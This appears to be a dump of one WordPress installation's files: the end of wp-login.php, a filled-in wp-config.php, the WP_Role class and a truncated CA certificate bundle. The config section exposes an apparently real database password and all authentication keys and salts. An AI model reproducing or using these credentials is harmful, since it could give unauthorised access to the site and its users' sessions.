					__( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ),
					wp_login_url()
				),
				'message'
			);
		} elseif ( 'registered' === $_GET['checkemail'] ) {
			$errors->add(
				'registered',
				sprintf(
					/* translators: %s: Link to the login page. */
					__( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ),
					wp_login_url()
				),
				'message'
			);
		}

		/** This action is documented in wp-login.php */
		$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );

		login_header( __( 'Check your email' ), '', $errors );
		login_footer();
		break;

	case 'confirmaction':
		if ( ! isset( $_GET['request_id'] ) ) {
			wp_die( __( 'Missing request ID.' ) );
		}

		if ( ! isset( $_GET['confirm_key'] ) ) {
			wp_die( __( 'Missing confirm key.' ) );
		}

		$request_id = (int) $_GET['request_id'];
		$key        = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) );
		$result     = wp_validate_user_request_key( $request_id, $key );

		if ( is_wp_error( $result ) ) {
			wp_die( $result );
		}

		/**
		 * Fires an action hook when the account action has been confirmed by the user.
		 *
		 * Using this you can assume the user has agreed to perform the action by
		 * clicking on the link in the confirmation email.
		 *
		 * After firing this action hook the page will redirect to wp-login a callback
		 * redirects or exits first.
		 *
		 * @since 4.9.6
		 *
		 * @param int $request_id Request ID.
		 */
		do_action( 'user_request_action_confirmed', $request_id );

		$message = _wp_privacy_account_request_confirmed_message( $request_id );

		login_header( __( 'User action confirmed.' ), $message );
		login_footer();
		exit;

	case 'login':
	default:
		$secure_cookie   = '';
		$customize_login = isset( $_REQUEST['customize-login'] );

		if ( $customize_login ) {
			wp_enqueue_script( 'customize-base' );
		}

		// If the user wants SSL but the session is not SSL, force a secure cookie.
		if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) {
			$user_name = sanitize_user( wp_unslash( $_POST['log'] ) );
			$user      = get_user_by( 'login', $user_name );

			if ( ! $user && strpos( $user_name, '@' ) ) {
				$user = get_user_by( 'email', $user_name );
			}

			if ( $user ) {
				if ( get_user_option( 'use_ssl', $user->ID ) ) {
					$secure_cookie = true;
					force_ssl_admin( true );
				}
			}
		}

		if ( isset( $_REQUEST['redirect_to'] ) ) {
			$redirect_to = $_REQUEST['redirect_to'];
			// Redirect to HTTPS if user wants SSL.
			if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) {
				$redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to );
			}
		} else {
			$redirect_to = admin_url();
		}

		$reauth = empty( $_REQUEST['reauth'] ) ? false : true;

		$user = wp_signon( array(), $secure_cookie );

		if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
			if ( headers_sent() ) {
				$user = new WP_Error(
					'test_cookie',
					sprintf(
						/* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */
						__( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
						__( 'https://wordpress.org/documentation/article/cookies/' ),
						__( 'https://wordpress.org/support/forums/' )
					)
				);
			} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
				// If cookies are disabled, the user can't log in even with a valid username and password.
				$user = new WP_Error(
					'test_cookie',
					sprintf(
						/* translators: %s: Browser cookie documentation URL. */
						__( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
						__( 'https://wordpress.org/documentation/article/cookies/#enable-cookies-in-your-browser' )
					)
				);
			}
		}

		$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
		/**
		 * Filters the login redirect URL.
		 *
		 * @since 3.0.0
		 *
		 * @param string           $redirect_to           The redirect destination URL.
		 * @param string           $requested_redirect_to The requested redirect destination URL passed as a parameter.
		 * @param WP_User|WP_Error $user                  WP_User object if login was successful, WP_Error object otherwise.
		 */
		$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );

		if ( ! is_wp_error( $user ) && ! $reauth ) {
			if ( $interim_login ) {
				$message       = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>';
				$interim_login = 'success';
				login_header( '', $message );

				?>
				</div>
				<?php

				/** This action is documented in wp-login.php */
				do_action( 'login_footer' );

				if ( $customize_login ) {
					ob_start();
					?>
					<script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
					<?php
					wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
				}

				?>
				</body></html>
				<?php

				exit;
			}

			// Check if it is time to add a redirect to the admin email confirmation screen.
			if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) {
				$admin_email_lifespan = (int) get_option( 'admin_email_lifespan' );

				/*
				 * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected
				 * to the admin email confirmation screen.
				 */
				/** This filter is documented in wp-login.php */
				$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );

				if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) {
					$redirect_to = add_query_arg(
						array(
							'action'  => 'confirm_admin_email',
							'wp_lang' => get_user_locale( $user ),
						),
						wp_login_url( $redirect_to )
					);
				}
			}

			if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) {
				// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
				if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) {
					$redirect_to = user_admin_url();
				} elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) {
					$redirect_to = get_dashboard_url( $user->ID );
				} elseif ( ! $user->has_cap( 'edit_posts' ) ) {
					$redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url();
				}

				wp_redirect( $redirect_to );
				exit;
			}

			wp_safe_redirect( $redirect_to );
			exit;
		}

		$errors = $user;
		// Clear errors if loggedout is set.
		if ( ! empty( $_GET['loggedout'] ) || $reauth ) {
			$errors = new WP_Error();
		}

		if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) {
			$errors = new WP_Error( '', '' );
		}

		if ( $interim_login ) {
			if ( ! $errors->has_errors() ) {
				$errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' );
			}
		} else {
			// Some parts of this script use the main login form to display a message.
			if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) {
				$errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' );
			} elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) {
				$errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) );
			} elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) {
				$errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'message' );
			} elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) {
				$errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' );
			} elseif ( isset( $_GET['redirect_to'] ) && str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) {
				$query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY );
				$query           = array();
				if ( $query_component ) {
					parse_str( $query_component, $query );
				}

				if ( ! empty( $query['app_name'] ) ) {
					/* translators: 1: Website name, 2: Application name. */
					$message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' );
				} else {
					/* translators: %s: Website name. */
					$message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) );
				}

				$errors->add( 'authorize_application', $message, 'message' );
			}
		}

		/**
		 * Filters the login page errors.
		 *
		 * @since 3.6.0
		 *
		 * @param WP_Error $errors      WP Error object.
		 * @param string   $redirect_to Redirect destination URL.
		 */
		$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );

		// Clear any stale cookies.
		if ( $reauth ) {
			wp_clear_auth_cookie();
		}

		login_header( __( 'Log In' ), '', $errors );

		if ( isset( $_POST['log'] ) ) {
			$user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? esc_attr( wp_unslash( $_POST['log'] ) ) : '';
		}

		$rememberme = ! empty( $_POST['rememberme'] );

		$aria_describedby = '';
		$has_errors       = $errors->has_errors();

		if ( $has_errors ) {
			$aria_describedby = ' aria-describedby="login_error"';
		}

		if ( $has_errors && 'message' === $errors->get_error_data() ) {
			$aria_describedby = ' aria-describedby="login-message"';
		}

		wp_enqueue_script( 'user-profile' );
		?>

		<form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
			<p>
				<label for="user_login"><?php _e( 'Username or Email Address' ); ?></label>
				<input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" />
			</p>

			<div class="user-pass-wrap">
				<label for="user_pass"><?php _e( 'Password' ); ?></label>
				<div class="wp-pwd">
					<input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
					<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>">
						<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
					</button>
				</div>
			</div>
			<?php

			/**
			 * Fires following the 'Password' field in the login form.
			 *
			 * @since 2.1.0
			 */
			do_action( 'login_form' );

			?>
			<p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p>
			<p class="submit">
				<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" />
				<?php

				if ( $interim_login ) {
					?>
					<input type="hidden" name="interim-login" value="1" />
					<?php
				} else {
					?>
					<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
					<?php
				}

				if ( $customize_login ) {
					?>
					<input type="hidden" name="customize-login" value="1" />
					<?php
				}

				?>
				<input type="hidden" name="testcookie" value="1" />
			</p>
		</form>

		<?php

		if ( ! $interim_login ) {
			?>
			<p id="nav">
				<?php

				if ( get_option( 'users_can_register' ) ) {
					$registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );

					/** This filter is documented in wp-includes/general-template.php */
					echo apply_filters( 'register', $registration_url );

					echo esc_html( $login_link_separator );
				}

				$html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) );

				/**
				 * Filters the link that allows the user to reset the lost password.
				 *
				 * @since 6.1.0
				 *
				 * @param string $html_link HTML link to the lost password form.
				 */
				echo apply_filters( 'lost_password_html_link', $html_link );

				?>
			</p>
			<?php
		}

		$login_script  = 'function wp_attempt_focus() {';
		$login_script .= 'setTimeout( function() {';
		$login_script .= 'try {';

		if ( $user_login ) {
			$login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";';
		} else {
			$login_script .= 'd = document.getElementById( "user_login" );';

			if ( $errors->get_error_code() === 'invalid_username' ) {
				$login_script .= 'd.value = "";';
			}
		}

		$login_script .= 'd.focus(); d.select();';
		$login_script .= '} catch( er ) {}';
		$login_script .= '}, 200);';
		$login_script .= "}\n"; // End of wp_attempt_focus().

		/**
		 * Filters whether to print the call to `wp_attempt_focus()` on the login screen.
		 *
		 * @since 4.8.0
		 *
		 * @param bool $print Whether to print the function call. Default true.
		 */
		if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) {
			$login_script .= "wp_attempt_focus();\n";
		}

		// Run `wpOnload()` if defined.
		$login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }";

		wp_print_inline_script_tag( $login_script );

		if ( $interim_login ) {
			ob_start();
			?>
			<script>
			( function() {
				try {
					var i, links = document.getElementsByTagName( 'a' );
					for ( i in links ) {
						if ( links[i].href ) {
							links[i].target = '_blank';
							links[i].rel = 'noopener';
						}
					}
				} catch( er ) {}
			}());
			</script>
			<?php
			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
		}

		login_footer();
		break;
} // End action switch.
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'bean7936_wp164' );

/** Database username */
define( 'DB_USER', 'bean7936_wp164' );

/** Database password */
define( 'DB_PASSWORD', '[N0aSp(81y' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'rzqdqn6jnflg5nicbexbz3qbcgglorrhnmtj2zf1x9dsonks02gs7i7utfsajhzc' );
define( 'SECURE_AUTH_KEY',  'k3hsc0jkwn5wmeooesusu9ylkwyrjdoi2recvbjiwb06pslr4r80vzcyaordpk7g' );
define( 'LOGGED_IN_KEY',    'rphmbdq6cbxdthtsikujlq4a1hw0chnruagitmqjze4id7angxh4mrudcej907dr' );
define( 'NONCE_KEY',        'u7gbhvg37eujskgpmyit88bprxz8sugukpqcsghow6iihvosb2qy6hmycwjh5jya' );
define( 'AUTH_SALT',        'jy6dmdedywbwsnzuyncvt6jdu5gm6qy4echn8fewqaqxo8v65h0v4zclsbyiyr7s' );
define( 'SECURE_AUTH_SALT', 'unqbimqgvwsc44rzflut7etrlncjk2i8gv41m7rvtywnqvqhsnslhpaqda388pii' );
define( 'LOGGED_IN_SALT',   'yjhncacnfofnd6aiepoerfq5qrknqitcl4xas9ycdpvfcvqifh7bdvfpnv29s6ke' );
define( 'NONCE_SALT',       'vfocpigbzbnv7zd7kmrs770zhwvsqyv2yf9zfrwtr4kbmza38zsealahsxgfzetq' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wpku_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
<?php
/**
 * User API: WP_Role class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to extend the user roles API.
 *
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP_Role {
	/**
	 * Role name.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $name;

	/**
	 * List of capabilities the role contains.
	 *
	 * @since 2.0.0
	 * @var bool[] Array of key/value pairs where keys represent a capability name and boolean values
	 *             represent whether the role has that capability.
	 */
	public $capabilities;

	/**
	 * Constructor - Set up object properties.
	 *
	 * The list of capabilities must have the key as the name of the capability
	 * and the value a boolean of whether it is granted to the role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role         Role name.
	 * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name and boolean values
	 *                             represent whether the role has that capability.
	 */
	public function __construct( $role, $capabilities ) {
		$this->name         = $role;
		$this->capabilities = $capabilities;
	}

	/**
	 * Assign role a capability.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap   Capability name.
	 * @param bool   $grant Whether role has capability privilege.
	 */
	public function add_cap( $cap, $grant = true ) {
		$this->capabilities[ $cap ] = $grant;
		wp_roles()->add_cap( $this->name, $cap, $grant );
	}

	/**
	 * Removes a capability from a role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap Capability name.
	 */
	public function remove_cap( $cap ) {
		unset( $this->capabilities[ $cap ] );
		wp_roles()->remove_cap( $this->name, $cap );
	}

	/**
	 * Determines whether the role has the given capability.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap Capability name.
	 * @return bool Whether the role has the given capability.
	 */
	public function has_cap( $cap ) {
		/**
		 * Filters which capabilities a role has.
		 *
		 * @since 2.0.0
		 *
		 * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name and boolean values
		 *                             represent whether the role has that capability.
		 * @param string $cap          Capability name.
		 * @param string $name         Role name.
		 */
		$capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name );

		if ( ! empty( $capabilities[ $cap ] ) ) {
			return $capabilities[ $cap ];
		} else {
			return false;
		}
	}
}
##
## Bundle of CA Root Certificates
##
## Certificate data from Mozilla as of: Wed Jul 22 03:12:14 2020 GMT
## Includes a WordPress Modification - We include the 'legacy' 1024bit certificates
## for backward compatibility. See https://core.trac.wordpress.org/ticket/34935#comment:10
##
## This is a bundle of X.509 certificates of public Certificate Authorities
## (CA). These were automatically extracted from Mozilla's root certificates
## file (certdata.txt).  This file can be found in the mozilla source tree:
## https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/certdata.txt
##
## It contains the certificates in PEM format and therefore
## can be directly used with curl / libcurl / php_curl, or with
## an Apache+mod_ssl webserver for SSL client authentication.
## Just configure this file as the SSLCACertificateFile.
##
## Conversion done with mk-ca-bundle.pl version 1.27.
## SHA256: fffa309937c3be940649293f749b8207fabc6eb224e50e4bb3f2c5e44e0d6a6b
##

EE Certification Centre Root CA
===============================
-----BEGIN CERTIFICATE-----
MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG
EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy
dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw
MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB
UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy
ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM
TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2
rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw
93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN
P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T
AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ
MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF
BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj
xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM
lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u
uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU
3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM
dcGWxZ0=
-----END CERTIFICATE-----

Thawte Server CA
================
-----BEGIN CERTIFICATE-----
MIIDEzCCAnygAwIBAgIBATANBgkqhkiG9w0BAQQFADCBxDELMAkGA1UEBhMCWkExFTATBgNVBAgT
DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs
dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcGA1UE
AxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0ZS5j
b20wHhcNOTYwODAxMDAwMDAwWhcNMjAxMjMxMjM1OTU5WjCBxDELMAkGA1UEBhMCWkExFTATBgNV
BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29u
c3VsdGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEZMBcG
A1UEAxMQVGhhd3RlIFNlcnZlciBDQTEmMCQGCSqGSIb3DQEJARYXc2VydmVyLWNlcnRzQHRoYXd0
ZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANOkUG7I/1Zr5s9dtuoMaHVHoqrC2oQl
/Kj0R1HahbUgdJSGHg91yekIYfUGbTBuFRkC6VLAYttNmZ7iagxEOM3+vuNkCXDF/rFrKbYvScg7
1CcEJRCXL+eQbcAoQpnXTEPew/UhbVSfXcNY4cDk2VuwuNy0e982OsK1ZiIS1ocNAgMBAAGjEzAR
MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEAB/pMaVz7lcxG7oWDTSEwjsrZqG9J
GubaUeNgcGyEYRGhGshIPllDfU+VPaGLtwtimHp1it2ITk6eQNuozDJ0uW8NxuOzRAvZim+aKZuZ
GCg70eNAKJpaPNW15yAbi8qkq43pUdniTCxZqdq5snUb9kLy78fyGPmJvKP/iiMucEc=
-----END CERTIFICATE-----

Thawte Premium Server CA
========================
-----BEGIN CERTIFICATE-----
MIIDJzCCApCgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBzjELMAkGA1UEBhMCWkExFTATBgNVBAgT
DFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3Vs
dGluZyBjYzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UE
AxMYVGhhd3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZl
ckB0aGF3dGUuY29tMB4XDTk2MDgwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgc4xCzAJBgNVBAYT
AlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEdMBsGA1UEChMU
VGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2
aXNpb24xITAfBgNVBAMTGFRoYXd0ZSBQcmVtaXVtIFNlcnZlciBDQTEoMCYGCSqGSIb3DQEJARYZ
cHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2
aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560ZXUCTe/LCaIh
Udib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j+ao6hnO2RlNYyIkFvYMRuHM/
qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQAm
SCwWwlj66BZ0DKqqX1Q/8tfJeGBeXm43YyJ3Nn6yF8Q0ufUIhfzJATj/Tb7yFkJD57taRvvBxhEf
8UqwKEbJw8RCfbz6q1lu1bdRiBHjpIUZa4JMpAwSremkrj/xw0llmozFyD4lt5SZu5IycQfwhl7t
UCemDaYj+bvLpgcUQg==
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEHC65B0Q2Sk0tjjKewPMur8wDQYJKoZIhvcNAQECBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMTIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBAgUAA4GBALtMEivPLCYA
TxQT3ab7/AoRhIzzKBxnki98tsX63/Dolbwdj2wsqFHMc9ikwFPwTtYmwHYBV4GSXiHx0bH/59Ah
WM1pF+NEHJwZRDmJXNycAA9WjQKZ7aKQRUzkuxCkPfAyAw7xzvjoyVGM5mKf5p/AfbdynMk2Omuf
Tqj/ZA1k
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority - G2
============================================================
-----BEGIN CERTIFICATE-----
MIIDAjCCAmsCEH3Z/gfPqB63EHln+6eJNMYwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMB4XDTk4MDUxODAwMDAwMFoXDTI4MDgwMTIzNTk1OVowgcExCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMyBQdWJsaWMgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz
dCBOZXR3b3JrMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMXtERXVxp0KvTuWpMmR9ZmDCO
FoUgRm1HP9SFIIThbbP4pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71
lSk8UOg013gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwIDAQAB
MA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSkU01UbSuvDV1Ai2TT
1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7iF6YM40AIOw7n60RzKprxaZLvcRTD
Oaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpYoJ2daZH9
-----END CERTIFICATE-----

America Online Root Certification Authority 1
=============================================
-----BEGIN CERTIFICATE-----
MIIDpDCCAoygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT
